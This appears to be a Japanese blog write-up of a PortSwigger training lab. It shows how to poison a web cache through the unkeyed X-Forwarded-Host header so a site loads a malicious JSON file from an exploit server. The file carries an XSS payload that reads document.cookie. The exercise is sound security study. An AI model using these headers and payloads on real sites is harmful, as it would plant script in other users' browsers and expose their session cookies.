Shikata Ga Nai

Private? There is no such things.

Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteriaをやってみた

Hello there, ('ω')ノ

 

厳格なキャッシュ基準を介してDOMの脆弱性を悪用するキャッシュポイズニングを。

 

Webサイトがキーのないヘッダーを安全に使用してファイルをインポートすると。

攻撃者がこれを悪用して悪意のあるファイルをインポートする可能性があって。

これはJavaScriptではなくて。

 

f:id:ThisIsOne:20210119174417p:plain

 

ホームページを生成したリクエストとレスポンスを調べて。

リクエストを見つけて、BurpRepeaterに送信して。

 

f:id:ThisIsOne:20210119175250p:plain

 

jsonリクエストもBurpRepeaterに送信して。


f:id:ThisIsOne:20210119174838p:plain

 

jsonリクエストのレスポンスを確認して。

 

f:id:ThisIsOne:20210119175146p:plain

 

BurpのParam MinerでX-Forwarded-Hostヘッダがサポートされていることを確認して。

 

f:id:ThisIsOne:20210120103115p:plain

 

下記のキャッシュバスターをリクエストに追加して。

 X-Forwarded-Host: example.com

 

f:id:ThisIsOne:20210119175702p:plain

 

エクスプロイトサーバを起動して。

脆弱なレスポンスで使用されるパスに一致するようにファイル名を変更して。

 /resources/json/geolocate.json

 

ヘッダに下記を追加して、CORSを有効に。

 Access-Control-Allow-Origin:*

 

本文には、脆弱なWebサイトで使用されているものと一致する。

悪意のあるJSONオブジェクトを追加して。

値については、XSSペイロードを。

 

 

 {
  "country": "<img src=x onerror=alert(document.cookie) />"
 }

 

最後に保存して。

store

 

f:id:ThisIsOne:20210119182431p:plain

 

Burpのリクエストには、上記のURLに変更して。

 X-Forwarded-Host:ac061f761f2bf2c580ab1ac201b80010.web-security-academy.net

 

X-Cache: hitするまでSendして。

 

f:id:ThisIsOne:20210119183104p:plain

 

ブラウザをリロードして、alert()が発生することを確認するとクリアできた。


f:id:ThisIsOne:20210119182324p:plain

 

Best regards, (^^ゞ